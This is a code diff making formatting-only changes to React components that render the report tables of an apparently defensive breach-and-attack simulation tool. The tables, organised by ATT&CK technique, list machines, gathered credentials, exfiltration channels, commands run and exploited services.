data={tableData['matrixTableData']}
|
||||
showPagination={false}
|
||||
defaultPageSize={tableData['maxTechniques']} />
|
||||
defaultPageSize={tableData['maxTechniques']}/>
|
||||
</div>
|
||||
</div>);
|
||||
}
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
import React from "react";
|
||||
|
||||
export function renderMachine(val){
|
||||
export function renderMachine(val) {
|
||||
return (
|
||||
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
|
||||
)
|
||||
|
@ -10,8 +10,8 @@ export function renderMachine(val){
|
|||
string representation of machine from that data. */
|
||||
export function renderMachineFromSystemData(data) {
|
||||
let machineStr = data['hostname'] + " ( ";
|
||||
data['ips'].forEach(function(ipInfo){
|
||||
if(typeof ipInfo === "object"){
|
||||
data['ips'].forEach(function (ipInfo) {
|
||||
if (typeof ipInfo === "object") {
|
||||
machineStr += ipInfo['addr'] + ", ";
|
||||
} else {
|
||||
machineStr += ipInfo + ", ";
|
||||
|
@ -26,29 +26,34 @@ export function renderMachineFromSystemData(data) {
|
|||
export function getUsageColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine',
|
||||
{
|
||||
Header: 'Machine',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachineFromSystemData(x.machine),
|
||||
style: { 'whiteSpace': 'unset' },
|
||||
width: 300},
|
||||
{Header: 'Usage',
|
||||
style: {'whiteSpace': 'unset'},
|
||||
width: 300
|
||||
},
|
||||
{
|
||||
Header: 'Usage',
|
||||
id: 'usage',
|
||||
accessor: x => x.usage,
|
||||
style: { 'whiteSpace': 'unset' }}]
|
||||
}])}
|
||||
style: {'whiteSpace': 'unset'}
|
||||
}]
|
||||
}])
|
||||
}
|
||||
|
||||
/* Renders table fields that contains 'used' boolean value and 'name' string value.
|
||||
'Used' value determines if 'name' value will be shown.
|
||||
*/
|
||||
export function renderUsageFields(usages){
|
||||
export function renderUsageFields(usages) {
|
||||
let output = [];
|
||||
usages.forEach(function(usage){
|
||||
if(usage['used']){
|
||||
usages.forEach(function (usage) {
|
||||
if (usage['used']) {
|
||||
output.push(<div key={usage['name']}>{usage['name']}</div>)
|
||||
}
|
||||
});
|
||||
return (<div>{output}</div>);
|
||||
}
|
||||
}
|
||||
|
||||
export const ScanStatus = {
|
||||
UNSCANNED: 0,
|
||||
|
|
|
@ -17,7 +17,8 @@ class T1003 extends React.Component {
|
|||
<div>{this.props.data.message}</div>
|
||||
<br/>
|
||||
{this.props.data.status === ScanStatus.USED ?
|
||||
<StolenPasswordsComponent data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/>
|
||||
<StolenPasswordsComponent
|
||||
data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/>
|
||||
: ""}
|
||||
</div>
|
||||
);
|
||||
|
|
|
@ -13,10 +13,17 @@ class T1005 extends React.Component {
|
|||
return ([{
|
||||
Header: "Sensitive data",
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }},
|
||||
]}])};
|
||||
{
|
||||
Header: 'Machine',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachineFromSystemData(x.machine),
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
{Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Info', id: 'info', accessor: x => x.info, style: {'whiteSpace': 'unset'}},
|
||||
]
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
|
||||
import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1016 extends React.Component {
|
||||
|
@ -14,10 +14,16 @@ class T1016 extends React.Component {
|
|||
return ([{
|
||||
Header: "Network configuration info gathered",
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }},
|
||||
{
|
||||
Header: 'Machine',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachineFromSystemData(x.machine),
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
{Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: {'whiteSpace': 'unset'}},
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers"
|
||||
import {renderMachineFromSystemData, renderMachine, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1018 extends React.Component {
|
||||
|
@ -10,9 +10,9 @@ class T1018 extends React.Component {
|
|||
super(props);
|
||||
}
|
||||
|
||||
static renderMachines(machines){
|
||||
static renderMachines(machines) {
|
||||
let output = [];
|
||||
machines.forEach(function(machine){
|
||||
machines.forEach(function (machine) {
|
||||
output.push(renderMachine(machine))
|
||||
});
|
||||
return (<div>{output}</div>);
|
||||
|
@ -21,12 +21,23 @@ class T1018 extends React.Component {
|
|||
static getScanInfoColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }},
|
||||
{
|
||||
Header: 'Machine',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachineFromSystemData(x.monkey),
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
{Header: 'First scan', id: 'started', accessor: x => x.started, style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: {'whiteSpace': 'unset'}},
|
||||
{
|
||||
Header: 'Systems found',
|
||||
id: 'systems',
|
||||
accessor: x => T1018.renderMachines(x.machines),
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachine, ScanStatus } from "./Helpers"
|
||||
import {renderMachine, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1021 extends React.Component {
|
||||
|
@ -13,12 +13,20 @@ class T1021 extends React.Component {
|
|||
static getServiceColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||
style: { 'whiteSpace': 'unset' }, width: 160},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
|
||||
{Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
|
||||
{
|
||||
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||
style: {'whiteSpace': 'unset'}, width: 160
|
||||
},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
|
||||
{
|
||||
Header: 'Valid account used',
|
||||
id: 'credentials',
|
||||
accessor: x => this.renderCreds(x.successful_creds),
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
static renderCreds(creds) {
|
||||
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { getUsageColumns } from "./Helpers"
|
||||
import {getUsageColumns} from "./Helpers"
|
||||
|
||||
|
||||
class T1035 extends React.Component {
|
||||
|
|
|
@ -13,9 +13,11 @@ class T1041 extends React.Component {
|
|||
return ([{
|
||||
Header: "Data exfiltration channels",
|
||||
columns: [
|
||||
{Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }}
|
||||
]}])};
|
||||
{Header: 'Source', id: 'src', accessor: x => x.src, style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Destination', id: 'dst', accessor: x => x.dst, style: {'whiteSpace': 'unset'}}
|
||||
]
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachine, ScanStatus } from "./Helpers"
|
||||
import {renderMachine, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1059 extends React.Component {
|
||||
|
@ -14,11 +14,18 @@ class T1059 extends React.Component {
|
|||
return ([{
|
||||
Header: 'Example commands used',
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 },
|
||||
{Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }},
|
||||
{
|
||||
Header: 'Machine',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachine(x.data.machine),
|
||||
style: {'whiteSpace': 'unset'},
|
||||
width: 160
|
||||
},
|
||||
{Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: {'whiteSpace': 'unset'}},
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { getUsageColumns } from "./Helpers"
|
||||
import {getUsageColumns} from "./Helpers"
|
||||
|
||||
|
||||
class T1064 extends React.Component {
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachine, ScanStatus } from "./Helpers"
|
||||
import {renderMachine, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1075 extends React.Component {
|
||||
|
@ -11,10 +11,10 @@ class T1075 extends React.Component {
|
|||
this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login))
|
||||
}
|
||||
|
||||
setLoginHashType(login){
|
||||
if(login.attempts[0].ntlm_hash !== ""){
|
||||
setLoginHashType(login) {
|
||||
if (login.attempts[0].ntlm_hash !== "") {
|
||||
login.attempts[0].hashType = 'NTLM';
|
||||
} else if(login.attempts[0].lm_hash !== ""){
|
||||
} else if (login.attempts[0].lm_hash !== "") {
|
||||
login.attempts[0].hashType = 'LM';
|
||||
}
|
||||
}
|
||||
|
@ -22,12 +22,13 @@ class T1075 extends React.Component {
|
|||
static getHashColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: {'whiteSpace': 'unset'}},
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
|
||||
import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1082 extends React.Component {
|
||||
|
@ -13,10 +13,16 @@ class T1082 extends React.Component {
|
|||
static getSystemInfoColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }},
|
||||
{
|
||||
Header: 'Machine',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachineFromSystemData(x.machine),
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
{Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: {'whiteSpace': 'unset'}},
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachine, ScanStatus } from "./Helpers"
|
||||
import {renderMachine, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1086 extends React.Component {
|
||||
|
@ -14,11 +14,18 @@ class T1086 extends React.Component {
|
|||
return ([{
|
||||
Header: 'Example Powershell commands used',
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
|
||||
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
|
||||
{
|
||||
Header: 'Machine',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachine(x.data[0].machine),
|
||||
style: {'whiteSpace': 'unset'},
|
||||
width: 160
|
||||
},
|
||||
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: {'whiteSpace': 'unset'}},
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
|
||||
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1090 extends React.Component {
|
||||
|
@ -13,10 +13,13 @@ class T1090 extends React.Component {
|
|||
static getProxyColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machines',
|
||||
{
|
||||
Header: 'Machines',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachineFromSystemData(x),
|
||||
style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}])
|
||||
style: {'whiteSpace': 'unset', textAlign: 'center'}
|
||||
}]
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { ScanStatus } from "./Helpers"
|
||||
import {ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1105 extends React.Component {
|
||||
|
@ -14,11 +14,12 @@ class T1105 extends React.Component {
|
|||
return ([{
|
||||
Header: 'Files copied',
|
||||
columns: [
|
||||
{Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 },
|
||||
{Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170},
|
||||
{Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}},
|
||||
{Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: {'whiteSpace': 'unset'}, width: 170},
|
||||
{Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: {'whiteSpace': 'unset'}, width: 170},
|
||||
{Header: 'Filename', id: 'filename', accessor: x => x.filename, style: {'whiteSpace': 'unset'}},
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { getUsageColumns } from "./Helpers"
|
||||
import {getUsageColumns} from "./Helpers"
|
||||
|
||||
|
||||
class T1106 extends React.Component {
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
|
||||
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1107 extends React.Component {
|
||||
|
@ -10,8 +10,8 @@ class T1107 extends React.Component {
|
|||
super(props);
|
||||
}
|
||||
|
||||
static renderDelete(status){
|
||||
if(status === ScanStatus.USED){
|
||||
static renderDelete(status) {
|
||||
if (status === ScanStatus.USED) {
|
||||
return <span>Yes</span>
|
||||
} else {
|
||||
return <span>No</span>
|
||||
|
@ -21,11 +21,19 @@ class T1107 extends React.Component {
|
|||
static getDeletedFileColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
|
||||
style: { 'whiteSpace': 'unset' }, width: 160}]
|
||||
}])};
|
||||
{
|
||||
Header: 'Machine',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachineFromSystemData(x._id.machine),
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
{Header: 'Path', id: 'path', accessor: x => x._id.path, style: {'whiteSpace': 'unset'}},
|
||||
{
|
||||
Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
|
||||
style: {'whiteSpace': 'unset'}, width: 160
|
||||
}]
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachine, ScanStatus } from "./Helpers"
|
||||
import {renderMachine, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1110 extends React.Component {
|
||||
|
@ -13,15 +13,23 @@ class T1110 extends React.Component {
|
|||
static getServiceColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||
style: { 'whiteSpace': 'unset' }, width: 160},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
|
||||
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: { 'whiteSpace': 'unset' }, width: 160},
|
||||
{Header: 'Successful credentials', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
|
||||
{
|
||||
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||
style: {'whiteSpace': 'unset'}, width: 160
|
||||
},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
|
||||
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: {'whiteSpace': 'unset'}, width: 160},
|
||||
{
|
||||
Header: 'Successful credentials',
|
||||
id: 'credentials',
|
||||
accessor: x => this.renderCreds(x.successful_creds),
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
static renderCreds(creds) {
|
||||
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
|
||||
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1145 extends React.Component {
|
||||
|
@ -10,10 +10,10 @@ class T1145 extends React.Component {
|
|||
super(props);
|
||||
}
|
||||
|
||||
static renderSSHKeys(keys){
|
||||
static renderSSHKeys(keys) {
|
||||
let output = [];
|
||||
keys.forEach(function(keyInfo){
|
||||
output.push(<div key={keyInfo['name']+keyInfo['home_dir']}>
|
||||
keys.forEach(function (keyInfo) {
|
||||
output.push(<div key={keyInfo['name'] + keyInfo['home_dir']}>
|
||||
SSH key pair used by <b>{keyInfo['name']}</b> user found in {keyInfo['home_dir']}</div>)
|
||||
});
|
||||
return (<div>{output}</div>);
|
||||
|
@ -22,16 +22,21 @@ class T1145 extends React.Component {
|
|||
static getKeysInfoColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine',
|
||||
{
|
||||
Header: 'Machine',
|
||||
id: 'machine',
|
||||
accessor: x => renderMachineFromSystemData(x.machine),
|
||||
style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Keys found',
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
{
|
||||
Header: 'Keys found',
|
||||
id: 'keys',
|
||||
accessor: x => T1145.renderSSHKeys(x.ssh_info),
|
||||
style: { 'whiteSpace': 'unset' }},
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
|
||||
import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1188 extends React.Component {
|
||||
|
@ -14,20 +14,27 @@ class T1188 extends React.Component {
|
|||
return ([{
|
||||
Header: "Communications through multi-hop proxies",
|
||||
columns: [
|
||||
{Header: 'From',
|
||||
{
|
||||
Header: 'From',
|
||||
id: 'from',
|
||||
accessor: x => renderMachineFromSystemData(x.from),
|
||||
style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'To',
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
{
|
||||
Header: 'To',
|
||||
id: 'to',
|
||||
accessor: x => renderMachineFromSystemData(x.to),
|
||||
style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Hops',
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
{
|
||||
Header: 'Hops',
|
||||
id: 'hops',
|
||||
accessor: x => x.count,
|
||||
style: { 'whiteSpace': 'unset' }},
|
||||
style: {'whiteSpace': 'unset'}
|
||||
},
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -1,30 +1,36 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachine } from "./Helpers"
|
||||
import {renderMachine} from "./Helpers"
|
||||
|
||||
|
||||
class T1210 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.columns = [ {Header: 'Machine',
|
||||
this.columns = [{
|
||||
Header: 'Machine',
|
||||
id: 'machine', accessor: x => renderMachine(x),
|
||||
style: { 'whiteSpace': 'unset' },
|
||||
width: 200},
|
||||
{Header: 'Time',
|
||||
style: {'whiteSpace': 'unset'},
|
||||
width: 200
|
||||
},
|
||||
{
|
||||
Header: 'Time',
|
||||
id: 'time', accessor: x => x.time,
|
||||
style: { 'whiteSpace': 'unset' },
|
||||
width: 170},
|
||||
{Header: 'Usage',
|
||||
style: {'whiteSpace': 'unset'},
|
||||
width: 170
|
||||
},
|
||||
{
|
||||
Header: 'Usage',
|
||||
id: 'usage', accessor: x => x.usage,
|
||||
style: { 'whiteSpace': 'unset' }}
|
||||
style: {'whiteSpace': 'unset'}
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
renderExploitedMachines(){
|
||||
if (this.props.data.bits_jobs.length === 0){
|
||||
return (<div />)
|
||||
renderExploitedMachines() {
|
||||
if (this.props.data.bits_jobs.length === 0) {
|
||||
return (<div/>)
|
||||
} else {
|
||||
return (<ReactTable
|
||||
columns={this.columns}
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachine } from "./Helpers"
|
||||
import {renderMachine} from "./Helpers"
|
||||
|
||||
|
||||
class T1210 extends React.Component {
|
||||
|
@ -14,40 +14,52 @@ class T1210 extends React.Component {
|
|||
return ([{
|
||||
Header: "Found services",
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||
style: { 'whiteSpace': 'unset' }, width: 200},
|
||||
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
|
||||
{
|
||||
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||
style: {'whiteSpace': 'unset'}, width: 200
|
||||
},
|
||||
{Header: 'Time', id: 'time', accessor: x => x.time, style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Port', id: 'port', accessor: x => x.service.port, style: {'whiteSpace': 'unset'}, width: 100},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: {'whiteSpace': 'unset'}}
|
||||
]
|
||||
}])}
|
||||
}])
|
||||
}
|
||||
|
||||
static getExploitColumns() {
|
||||
return ([{
|
||||
Header: "Exploited services",
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||
style: { 'whiteSpace': 'unset' }, width: 200},
|
||||
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' },
|
||||
width: 170},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
|
||||
{
|
||||
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||
style: {'whiteSpace': 'unset'}, width: 200
|
||||
},
|
||||
{Header: 'Time', id: 'time', accessor: x => x.time, style: {'whiteSpace': 'unset'}},
|
||||
{
|
||||
Header: 'Port/url', id: 'port', accessor: x => this.renderEndpoint(x.service), style: {'whiteSpace': 'unset'},
|
||||
width: 170
|
||||
},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: {'whiteSpace': 'unset'}}
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
static renderEndpoint(val){
|
||||
static renderEndpoint(val) {
|
||||
return (
|
||||
<span>{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}</span>
|
||||
)
|
||||
};
|
||||
